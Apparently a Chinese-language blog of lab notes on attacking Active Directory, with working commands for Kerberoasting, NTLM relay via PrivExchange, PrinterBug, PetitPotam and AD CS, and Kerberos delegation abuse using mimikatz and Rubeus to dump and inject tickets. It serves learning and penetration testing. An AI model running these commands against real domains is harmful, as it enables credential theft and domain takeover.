Active Directory on MentalityXt

域渗透：常见技巧

Mon, 25 Nov 2024 12:00:00 +0800

1. WSMan/WinRM

WinRM默认使用5985(HTTP)和5986(HTTPS)

如果域控开了该服务当我们获得一个账号的时候

1
2
3
4
5
6


# 使用crackmapexec检查权限
crackmapexec winrm <DC_IP> -u svc-account -p password --shares
# 尝试WinRM
evil-winrm -i <DC_IP> -u svc-account -p password

Bypass-4MSI 切换cmd

域渗透：针对常见服务

Sun, 24 Nov 2024 22:55:00 +0800

一、SPN

SPN 基本概念:

SPN 是服务主体名称,用于在域环境中唯一标识一个服务实例
格式通常为: 服务类型/主机名
比如: HTTP/webserver.domain.com

SPN 的重要性:

它是 Kerberos 认证的关键组成部分
当用户访问服务时,会通过 SPN 来获取该服务的 Kerberos ticket
服务账户的 SPN 信息存储在 Active Directory 中

SPN 扫描的目的:

发现域内注册的服务
识别潜在的服务账户
为后续的 Kerberoasting 攻击做准备

搭建环境

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


powershell.exe
# 先导入AD模块
Import-Module ActiveDirectory
然后创建服务账户
New-ADUser -Name "SQLService" -SamAccountName "SQLService" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# 在域控制器上执行
# 为SQLService注册一个SPN
setspn -A MSSQLSvc/dc.test.local:1433 SQLService

# 验证是否注册成功
setspn -L SQLService

作为非域成员的利用方式:

1
2
3
4
5


# 使用已获取的凭据
GetUserSPNs.py domain.com/compromised_user:password -dc-ip <DC_IP> -request

# 如果获得了hash,也可以通过hash进行认证
GetUserSPNs.py -hashes LM:NT domain.com/user -dc-ip <DC_IP> -request

这里是验证成功才会返回这个

错误会返回这个

具体利用步骤:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 步骤1: 枚举SPN
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP>

# 步骤2: 请求票据(-request参数)
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request

# 步骤3: 保存票据到文件
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request -output tickets.txt

# 步骤4: 使用hashcat破解票据
hashcat -m 13100 tickets.txt wordlist.txt

不同场景的利用策略:

已有域用户凭据:直接使用GetUserSPNs.py
只有NTLM hash:使用-hashes参数
有票据:可以使用-k参数进行基于票据的认证

注意事项:

扫描活动可能被检测
大量ticket请求可能触发告警
建议针对性扫描,避免大范围探测

实际案例:

1
2
3
4
5
6
7
8


# 例如发现SQL服务的SPN
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100
# 输出可能显示:
# MSSQLSvc/DBSERVER.domain.com:1433

# 获取该服务的票据
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 -request -target-service MSSQLSvc/DBSERVER.domai
/usr/share/doc/python3-impacket/examples/GetUserSPNs.py intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.10.10.248 -request -request-user SVC_INT$

二、域服务账号破解

https://github.com/nidem/kerberoast

跟上面介绍的方法差不多区别在于场景第一种方法需要获得域成员的账号和密码才能用第二种方法需要获取域成员主机的权限就能在这台主机上使用

1

setspn -T PENTEST.com -Q */*

图方便我就在域控上直接运行了如果域成员账户也有这个sqlserver的访问权限那么也会出来的

1
2


从Mimikatz的RAM中提取获得的门票
kerberos::list /export

1

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

不让用了？下面这个也可以用转hashcat就行

1
2


python /usr/share/john/kirbi2john.py ticket.kirbi > hash.txt
hashcat -m 13100 hash.txt word.txt

三、NTLM relay

(1) Privexchange

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://github.com/dirkjanm/privexchange/

https://github.com/ridter/exchange2domain

Exchange服务器 —-认证请求—-> 我们的中继服务器 —-修改后转发—-> 域控制器 (高权限) (修改认证内容) (LDAP服务)

实际上我们设置了HTLM中继认证 Exchange服务器的认证请求经过我们设置的中继认证然后我们改点东西让他修改我们的权限让我们有DCSync权限

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


必需条件:
● Exchange服务器存在且可访问
● 一个域用户账号(必须有邮箱)
 ○ 需要用户名和密码
 ○ 或者已经获得了某个域用户的权限
可选条件:
● 如果在域内机器上操作，可以利用当前登录用户的凭据
● 如果能获得中间人攻击位置，可以不需要域账号凭据

# 需要的工具
- ntlmrelayx.py (impacket工具包)
- privexchange.py (PrivExchange工具)

# 需要的信息
- Exchange服务器IP/主机名
- 域控制器IP
- 域名
- 有邮箱的域用户凭据

两种场景

1
2
3


直接使用已知的域用户凭据
用户必须有邮箱
从外部或内部都可以发起攻击

1
2
3


需要在域内网络中
需要能进行中间人攻击
利用其他用户的认证请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


1. 设置阶段
 用户(带邮箱) -----> Exchange
 "请帮我设置通知，发送到 http://攻击者IP"

2. Exchange工作阶段
 Exchange ----需要认证----> 攻击者IP
 "我是Exchange服务器，我要发送通知了"

3. 中间人操作
 Exchange认证 ----中继----> 域控制器LDAP
 "我们拿着Exchange的认证去域控那边修改权限"

设置NTLM中继:

在impacket里面存有这个包

1
2


ntlmrelayx.py -t ldap://dc-ip --escalate-user 攻击者用户
ntlmrelayx.py -t ldap://192.168.0.111 --escalate-user test1

这步是设置"中间人"
准备接收Exchange的认证并转发到DC

触发Exchange认证:

https://github.com/dirkjanm/privexchange/

1
2


privexchange.py -ah 攻击者IP exchange服务器 -u 域用户 -d 域名
privexchange.py -ah 192.168.0.110 exchange01.test.local -u test1 -d test.local

利用PushSubscription功能
让Exchange服务器向我们的中继服务器发起认证

(2) Printerbug(HTLM认证)

协议设计问题，不是漏洞

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

环境搭建：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


环境要求：
- Windows Server开启打印服务
- Spooler服务运行
- 域用户权限(不需要特殊权限) 任意用户都行

检查步骤：
# 查看打印服务是否运行
Get-Service Spooler

# 如果没开启，启动服务
Start-Service Spooler
Set-Service Spooler -StartupType Automatic

一般都是默认开启的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# 基本用法
python printerbug.py 域名/用户名:密码@目标IP 攻击者IP

# 具体例子
python printerbug.py test.local/TestUser:Password123!@192.168.0.110 192.168.0.103
python ntlmrelayx.py -t ldaps://192.168.0.110 --escalate-user TestUser

test.local -> 域名
TestUser -> 用户名
Password123 -> 密码
192.168.0.111 -> 目标IP(DC)
192.168.0.103 -> 攻击者IP

(3) PetitPotam(HTLM认证)

存在漏洞 CVE-2021-36942

大概范围在 Windows Server 2008到2019

https://github.com/topotam/PetitPotam

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


环境要求：
- Windows Server
- MS-EFSRPC服务可用
- 域用户权限(不需要特殊权限)

检查步骤：
# 检查RPC服务和EFS服务是否运行
Get-Service RpcSs
Get-Service EFS

攻击机需要：
- impacket工具包
- ntlmrelayx.py
- 能访问目标的网络环境

目标机器：
- LDAP服务开启(DC默认开启)
- 证书服务(如果要中继到AD CS)

1
2
3
4
5
6
7
8


命令：
# 启动中继
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 用户名 --no-smb-server
python ntlmrelayx.py -t ldap://192.168.0.110 --escalate-user TestUser --no-smb-server

# 触发认证
python PetitPotam.py -d domain -u user -p pass 攻击机IP DC-IP
python PetitPotam.py -d test.local -u TestUser -p Password123! 192.168.0.104 192.168.0.110

(4) Relay LDAP(HTLM中继)

https://www.freebuf.com/articles/network/368583.html

Relay LDAP(NTLM中继)主要利用CVE-2019-1040漏洞绕过LDAP签名

第二个和第三个用于发起认证这个利用漏洞来创建中继

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


- 绕过LDAP签名
- 允许中继到LDAP/LDAPS
- 即使启用了签名保护也可以

漏洞影响版本
Windwos 7 SP 1 至 Windows 10 1903；
Windows Server 2008 至 Windows Server 2019

# 启动中继器
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic

# 或者完整参数 带漏洞的
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic --no-smb-server --no-http-server

--remove-mic：利用CVE-2019-1040绕过签名
--escalate-user：指定要提权的用户
-t ldap://DC-IP：指定目标DC

(5) Relay AD CS/PKI(HTLM中继)

https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/

需要目标配置Active Directory证书服务

访问地址:

环境搭建失败记录一下方法吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 基本语法
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs

# 更多参数
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs --template VulnTemplate

python ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

-t http://CA-SERVER：证书服务器Web地址
--adcs：指定这是ADCS攻击
--template：指定证书模板(可选)

1
2
3


# https://github.com/topotam/PetitPotam

PetitPotam.exe 172.16.79.1 172.16.79.2

Darwin 上运行的 Ntlmrelay 将生成 CSR（Certificate Signing Request, 证书签名请求）并尝试滥用存在漏洞的 PKI 模板来生成证书：

如果成功ntlmrelayx 将会接收到：

[+] Base64 certificate of user 2012DC$: MI… (一大串Base64编码的证书数据)

接下来是利用获得的东西

1

Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI...

可以拿到TGT 然后利用DCSync 获取 DA NTLM Hash就行了

自动化工具

RelayX 将几个比较好用的relay集成到了一起，提高了测试效率：

1

python relayx.py live.local/002:'LIVE@2021'@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController

ADCSPwn实际上是将之前的攻击自动化 https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn

ADCSPwn 由 C# 编写，编译后方便通过 execute-assembly 内存加载运行，通过 PetitPotam NTLM Relay 到 AD CS 申请机器账户证书。此外，ADCSPwn 需要被触发进行身份认证的远程机器上开启 WebClient 服务（默认未安装，手动开启，可以参考 How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files ）

ADCSPwn 在申请CA证书时采用了轮询的方式遍历所有证书模板尝试申请，普通域成员机器使用证书模版 Machine，DC 使用证书模版 DomainController，ADCSPwn 判断证书模版是否可用时匹配响应包中的“Certificate Request Denied”，而在简体中文换进下应该是“证书申请被拒绝”，可以修改 ADCSPwn/RelayServer.cs 382 行 if (responseFromServer.Contains(“Certificate Request Denied”)) 中的 “Certificate Request Denied” 为 “locDenied”（证书申请被拒绝响应页面中的 HTML 元素 ID ）来适配多语言环境。此问题已在 https://github.com/bats3c/ADCSPwn/pull/5 中更新解决。

1

ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001

获取2012dc$ 机器账号证书后通过 Rubeus 进行后续攻击即可

内网445端口

PortBender

https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0

例如，我们可能希望在重定向器模式下执行 PortBender，以便从受感染的 Windows 系统执行 SMB 中继攻击。为了实现这一点，我们可以指示 PortBender 将所有到 445/TCP 的流量重定向到运行攻击者 SMB 服务的备用端口 8445/TCP。在此示例中，我们运行命令“PortBender redirect 445 8445”来实现此目的

1
2
3
4


#cs直接运行就行
PortBender redirect 445 8445

因为他那只有cna插件 没有exe 当然自己打包或许也可以

(6)扩展

防病毒发起认证

1
2


cd "\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0"
.\MpCmdRun.exe -Scan -ScanType 3 -File \\ip\file.exe

四、Kerberos委派攻击

参考：https://xz.aliyun.com/t/7217

前置知识

域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动

委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式，还有一种是基于资源的约束委派（Resource Based Constrained Delegation）不过不是本文的重点，下面我们来分别介绍一下非约束委派和约束委派这两种方法的利用

发现域中委派的用户和计算机

原理说明

当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务

发现域中委派的用户或计算机一般使用的手段是通过LDAP协议（全称：LightweightDirectory Access Protocol）然后通过userAccountControl属性筛选出符合的用户或计算机，我们可以通过ADSI（全称：ActiveDirectory Service Interfaces Editor）来编辑和修改LDAP，adsiedit.msc可以打开ADSI编辑器，打开之后我们找到一个设置了非约束委派的用户，可以看到userAccountControl属性包含了TRUSTED_FOR_DELEGATION

搭建环境(忽略)

这里可以忽略这里主要是配置两种账号非约束委派账号需要一个域内主机在域内主机上配置

如果有域内一台主机配置完非约束委派账号之后按照下面的步骤配置IIS 用于测试我这里没有测试直接用机器账户也可以

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


第一步：确认主机名
- 在目标机器上运行 hostname 确认主机名
- 确保主机名与SPN中设置的相同

第二步：安装IIS
- 在目标机器上安装IIS服务
Install-WindowsFeature -Name Web-Server -IncludeManagementTools

第三步：配置服务账号
- 打开IIS管理器 (inetmgr)
- 找到DefaultAppPool或新建应用程序池
- 配置身份为域账号(test\svc_iis)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82


第一个iis服务账号
# CN是Common Name的缩写,指在Active Directory中的位置
# 比如 CN=Users,DC=domain,DC=com 表示在域的Users容器下

New-ADUser -Name "svc_iis" `
 -SamAccountName "svc_iis" `
 -UserPrincipalName "svc_iis@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/webserver.test.local","HTTP/webserver" `
 -Description "IIS Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_iis"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_iis
setspn -A HTTP/webserver svc_iis

# 验证用户创建
Get-ADUser svc_iis -Properties *

# 验证SPN设置
setspn -L svc_iis

========================================================================================

第二个SharePoint服务账号
New-ADUser `
 -Name "svc_sharepoint" `
 -SamAccountName "svc_sharepoint" `
 -UserPrincipalName "svc_sharepoint@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/sharepoint.test.local" `
 -Description "SharePoint Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# 验证用户创建
Get-ADUser svc_sharepoint -Properties *

# 验证SPN设置
setspn -L svc_sharepoint

======================================================================================
IIS
# 查看当前服务账号
Get-ADUser svc_iis -Properties *

# 设置非约束委派
Set-ADUser -Identity "svc_iis" -TrustedForDelegation $true

# 验证设置
Get-ADUser svc_iis -Properties userAccountControl
# userAccountControl属性中应该包含TRUSTED_FOR_DELEGATION(524288)
======================================================================================
sharepoint
# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/test.local')}

# 验证设置
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

======================================================================================
# 查找所有设置了非约束委派的账号
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl | select name,objectClass,userAccountControl
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl,samaccountname,serviceprincipalname | select samaccountname,serviceprincipalname
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name,TrustedForDelegation

# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

非约束委派的查找

ldapsearch

kali上自带，适合在域外查询

这个参数过多就不一一列举了，需要查阅的ldapsearch -h即可

查找域中配置非约束委派的用户：

1

ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

普通域成员账号就能查到

查找域中配置非约束委派的主机：

1

ldapsearch -x -H ldap://192.168.0.110:389 -D "CN=TestUser,CN=Users,DC=test,DC=local" -w "Password123\!" -b "DC=test,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

图方便值可以直接将805306368改成805306369

注：更多LDAP的过滤语法请参考微软的手册：地址

ADFind

使用参数

1

AdFind [switches] [-b basedn] [-f filter] [attr list]

参数说明：

-b：指定要查询的根节点
-f：LDAP过滤条件
attr list：需要显示的属性

https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools

1.查找域中配置非约束委派的用户(在域内的方法)：

1

AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

图省事我在域控上执行了

2.查找域中配置非约束委派的用户(在域外的方法)：

1

AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

我参考的这个博客的博主并没有测试这个在刚刚那个github上是有具体方法的

3.查找域中配置非约束委派的主机：

1
2
3
4


#域内
AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#域外
AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

查找域中配置约束委派用户

1
2


Import-Module .\PowerView.ps1
Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

我没有找到账密验证的参数

https://blog.csdn.net/qq_41874930/article/details/109616189

https://www.cnblogs.com/-zhong/p/12374568.html

https://www.freebuf.com/sectool/173366.html

这三个里面有模块介绍

查找域中配置约束委派的主机：

1
2
3


Get-DomainComputer -TrustedToAuth -Domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
Get-DomainComputer -Unconstrained
Get-DomainComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

大概信息如下

1
2
3
4
5
6
7
8


distinguishedname : CN=WINDOWSSERVERAD,OU=Domain Controllers,DC=test,DC=local
# 这是域控制器的路径

useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# 这表明这台机器配置了非约束委派权限

dnshostname : WindowsServerAD.test.local
# 这是机器的DNS名称

非约束委派的利用

概述

非约束委派：当user访问service1时，如果service1的服务账号开启了unconstrained delegation（非约束委派），则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用，然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务（任何服务是指user能访问的服务）了

非约束委派的请求过程（图来自微软手册）：

上图的Kerberos请求描述分为如下步骤：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。

2. KDC在`KRB_AS_REP`消息中返回`TGT1`。

3. 用户根据步骤2中的TGT1请求转发TGT2。

4. KDC在KRB_TGS_REP消息中为user返回TGT2。

5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST（Service Ticket）

6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。

7. 用户发送KRB_AP_REQ消息请求Service1，KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey

8. service1使用用户发送过来的的TGT2，并以KRB_TGS_REQ的形式将其发送到KDC，以用户的名义请求service2的ST。

9. KDC在KRB_TGS_REP消息中返回service2到service1的ST，以及service1可以使用的sessionkey。ST将客户端标识为用户，而不是service1。

10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。

11. service2响应service1的请求。

12. 有了这个响应，service1就可以在步骤7中响应用户的请求。

13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务，所以service1可以以用户的名义向KDC索要任何其他服务的票证。

14. KDC返回步骤13中请求的ST

15-16. service1以用户的名义来请求其它服务

注：TGT1（forwardable TGT）用于访问Service1，TGT2（forwarded TGT）用于访问Service2

操作环境：

域：test.local
域控：windows server 2022，主机名：WindowsServerAD，IP：192.168.0.110，用户：administrator
域内主机：windows 10，主机名：win10，IP：192.168.0.104，用户：jerry

上面提到了一般非约束委派为服务账号或者主机账号服务账户需要搭建环境然后创建账号有点麻烦这里直接用主机账号比较方便

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


1. 在域控上配置(需要域管理员权限)：
PowerShell命令：
# 配置WIN10机器账号为非约束委派
Get-ADComputer win10 | Set-ADComputer -TrustedForDelegation $true

2. 验证配置：
# 检查机器的委派设置
Get-ADComputer WIN10 -Properties userAccountControl

# 或使用PowerView查找所有非约束委派的机器
Get-DomainComputer -Unconstrained

# 或使用LDAP查询
Get-DomainObject -LDAPFilter "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"

配置好了开始准备让域控管理员触发

PS：我现在已经升级为了这台win10的管理员也就是本地我可以搭建很多东西比如IIS、MYSQL等等然后目前使用的账号也为非约束委派权限此时随意想搭建什么服务都可以 IIS、MYSQL 然后再等域控管理员访问也可以

win10配置WINRM服务

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# 在WIN10上执行以下命令：

# 1. 快速配置WinRM（以管理员权限运行）
winrm quickconfig -q

# 2. 允许HTTP传输
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

# 3. 配置允许的验证方式
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Kerberos="true"}

# 4. 配置防火墙规则（如果还没开启）
Enable-PSRemoting -Force

# 5. 确认WinRM服务已启动
Get-Service WinRM

# 6. 检查WinRM监听器
winrm enumerate listener

1
2
3
4
5
6
7


# 在域控上执行
# 方法1：Enter-PSSession
Enter-PSSession -ComputerName WIN10

# 方法2：WinRM
winrm quickconfig # 确保WinRM服务开启
Test-WSMan -ComputerName WIN10 # 测试连接

这个时候域管理员的TGT已经缓存在win10了，我们用mimikatz即可dump出来

1
2


privilege::debug
sekurlsa::tickets /export

然后通过ptt将TGT注入到当前会话中

1
2


kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi
dir \\WindowsServerAD.test.local\c$

分割线隔开的方法我这里运行不了一直出问题还不知道出在哪报错系统无法联系域控制器来为身份验证请求提供服务。请稍后再试。所以mimikatz我应该是无法使用了

Rubeus

这个我使用没问题

项目地址：https://github.com/GhostPack/Rubeus/releases/tag/1.6.4

需要自行编译电脑上要安装vs 点击sln文件进去之后生成解决方案就行了

我这里编译好了下面的命令是比较流畅的步骤

1
2
3
4


# 将获得的票据导出到ticket.txt
Rubeus.exe monitor /interval:1 /targetuser:administrator /nowrap >> ticket.txt
# 如果能获取到 txt文本里面则会有base64编码的内容 直接导入票据
Rubeus.exe ptt /ticket:[base64编码]

下面解释一下为什么不用其他命令可以参考不用测试

1
2
3
4


# 说是直接导入票据 但是并没有用
Rubeus.exe monitor /interval:1 /targetuser:administrator /ptt
Rubeus.exe monitor /interval:1 /targetuser:administrator
# 使用过程中 上面的两个命令没啥区别 /ptt貌似不起作用

实际上已经拿到base64编码的票据了但是复制很上头要删空格和回车太麻烦了所以选择导入文件

非常好复制这就是为什么上面成功的命令要导入文件然后再复制

1
2
3
4
5
6


# 下一步就是将base64写入admin.kirbi
# 使用mimikatz导入
mimikatz.exe
kerberos::purge # 清除现有票据
kerberos::ptt admin.kirbi # 导入新票据
# 很可惜这里我允许导入的操作直接报错 无法导入

所以刚刚开始给的成功的流程应该是最优解了也可能是我的windows server 2022版本可能过高也可能是mimikatz版本太低无论咋样至少有成功的方法就行

1

Enter-PSSession -ComputerName WindowsServerAD

还是用WinRM服务反连了域控

非约束委派+Spooler打印机服务

这个我看完了有点像HTLM relay但不完全是至少都利用了spooler打印机发起认证

如果只是单纯的非约束委派话需要管理员主动连接，所以在实战环境利用比较鸡肋。

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接，这个利用场景是tifkin_，enigma0x3和harmj0y在DerbyCon 2018提出的

演讲PPT：地址

利用原理：利用Windows打印系统远程协议（MS-RPRN）中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification（Ex）方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。

请求过程如下：

图来源于：http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

注：Print Spooler服务默认是自动运行的

这个实现了前提是：需要获取一台主机账户开启了非约束委派域内机器的权限

我的环境还是之前那个没有变

tifkin_在他的github上开源了POC：https://github.com/leechristensen/SpoolSample

但是我试了几次无法编译貌似是powershell有一点小问题

暂时无法解决但我找到了一个编译好的项目

https://github.com/jtmpu/PrecompiledBinaries

在虚拟机里使用

1
2
3
4
5


# 指定域控和本机就行 无论什么只要dns解析到就行
SpoolSample.exe WindowsServerAD WIN10
SpoolSample.exe WindowsServerAD.test.local WIN10.test.local
# 开始监听票据 上面是监听用户 这里要监听域控
Rubeus.exe monitor /interval:1 /filteruser:WindowsServerAD$

成功拿到了这里我就不重新连域控了因为和上面的一模一样并且mimikatz我也无法使用就这样了

约束委派的利用

概述

由于非约束委派的不安全性，微软在windows server 2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U，其中S4U支持两个子协议：Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)，这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST)；S4U2proxy可以以用户的名义请求其它服务的ST，约束委派就是限制了S4U2proxy扩展的范围。

S4U2Self和S4U2proxy的请求过程（图来自微软手册）：

注：其中步骤1-4代表S4U2Self请求的过程，步骤5-10代表S4U2proxy的请求过程

上述请求的文字描述：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


1. 用户向service1发出请求。用户已通过身份验证，但service1没有用户的授权数据。通常，这是由于身份验证是通过Kerberos以外的其他方式验证的。

2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

3. KDC返回给Service1一个用于用户验证Service1的ST1，该ST1可能包含用户的授权数据。

4. service1可以使用ST中的授权数据来满足用户的请求，然后响应用户。
注：尽管S4U2self向service1提供有关用户的信息，但S4U2self不允许service1代表用户发出其他服务的请求，这时候就轮到S4U2proxy发挥作用了

5. 用户向service1发出请求，service1需要以用户身份访问service2上的资源。

6. service1以用户的名义向KDC请求用户访问service2的ST2

7. 如果请求中包含PAC，则KDC通过检查PAC的签名数据来验证PAC ，如果PAC有效或不存在，则KDC返回ST2给service1，但存储在ST2的cname和crealm字段中的客户端身份是用户的身份，而不是service1的身份。

8. service1使用ST2以用户的名义向service2发送请求，并判定用户已由KDC进行身份验证。

9. service2响应步骤8的请求。

10. service1响应用户对步骤5中的请求。

操作

操作环境：

域：test.local
域控：windows server 2022，主机名：WindowsServerAD，IP：192.168.0.110，用户：administrator
域内主机：windows 10，主机名：win10，IP：192.168.0.104，用户：jerry

创建服务账号:

这个其实在上面已经写了但是利用有点麻烦就忽略了这里重新引用一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


第二个SharePoint服务账号
New-ADUser `
 -Name "svc_sharepoint" `
 -SamAccountName "svc_sharepoint" `
 -UserPrincipalName "svc_sharepoint@test.local" `
 -Path "CN=Users,DC=test,DC=local" `
 -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
 -Enabled $true `
 -PasswordNeverExpires $true `
 -ServicePrincipalNames "HTTP/sharepoint.test.local" `
 -Description "SharePoint Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# 验证用户创建
Get-ADUser svc_sharepoint -Properties *

# 验证SPN设置
setspn -L svc_sharepoint

# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{
 'msDS-AllowedToDelegateTo'=@(
 'CIFS/WindowsServerAD.test.local',
 'CIFS/WindowsServerAD'
 )
}

# 验证设置
